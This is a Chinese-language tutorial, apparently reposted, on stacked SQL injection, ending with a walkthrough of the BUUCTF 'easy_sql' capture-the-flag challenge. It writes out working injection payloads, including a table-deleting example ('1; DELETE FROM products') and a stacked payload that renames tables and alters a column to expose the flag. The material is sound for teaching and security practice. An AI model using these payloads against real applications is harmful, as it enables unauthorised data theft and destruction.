SQL注入-堆疊注入


SQL注入-堆疊注入

堆疊注入定義

Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 語句(多條)一起執行。而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令行中, 每一條語句結尾加; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做 stacked injection。

堆疊注入原理

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別么?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為: Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。

堆疊注入的局限性

堆疊注入的局限性在於並不是每一個環境下都可以執行,可能受到 API 或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。

下面就介紹一下數據庫相關堆疊注入的一些操作

  1. 創建數據庫

    create database 數據庫名;
    
  2. 刪除數據庫

    drop database 數據庫名;
    
  3. 修改表名

    rename table 原表名 to 新表名; 
    
    //當你執行 RENAME 時,你不能有任何鎖定的表或活動的事務。你同樣也必須有對原初表的 ALTER 和 DROP 權限,以及對新表的 CREATE 和 INSERT 權限
    
  4. 修改 words 表里面的 flag 列為 id 列

    alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
    
  5. 查詢數據庫名,表名

    show databases;
    show tables;
    

來一個實戰吧!BUUCTF里面的easy_sql

1.測試有無注入點

img

2.用order by 確定字段數是2個

1' order by 2#

3.嘗試使用union查詢數據庫名

1' union select 1,database()#

//發現select被過濾了,所以union查詢也就用不了

4.嘗試使用堆疊注入

1';show databases;#       //查詢數據庫名稱

5.然后查詢表名

1';show tables;#

6.然后查詢兩個表的有哪些列

1';desc `1919810931114514`;#
1';desc words;#

//發現flag在 1919810931114514 表里
//我們發現words表里有id ,data兩列,可以猜測我們提交的查詢的窗口就是在這個表里查詢數據的
//那么查詢語句很可能是:select id,data from words where id = 
//因為可以堆疊查詢,這個時候我們可以把words改為words1,然后把 1919810931114514 改
//為words,再把列名flag改為id,然后用1' or 1=1#爆出表所有內容就可以得出flag

payload:

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

7.最后爆出flag

1' or 1=1#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM